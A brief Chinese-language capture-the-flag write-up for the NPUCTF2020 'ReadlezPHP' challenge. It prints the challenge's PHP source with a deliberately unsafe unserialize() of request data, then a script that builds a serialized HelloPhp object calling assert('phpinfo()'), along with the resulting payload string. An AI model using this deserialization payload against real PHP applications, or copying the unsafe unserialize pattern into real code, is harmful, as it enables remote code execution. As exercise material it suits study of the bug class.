[NPUCTF2020]ReadlezPHP 1

首先打开题目，通过查看源码发现:

发现time.php页面访问得到：

请求source看看得到：

得到源码：

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]); 

很简单的一个反序列化，传入两个值b做函数，a做命令

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        $b($a);
    }
} 

$c =new HelloPhp; 


echo serialize($c);
?>

得到：

O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

请求得到：

查看信息发现flag: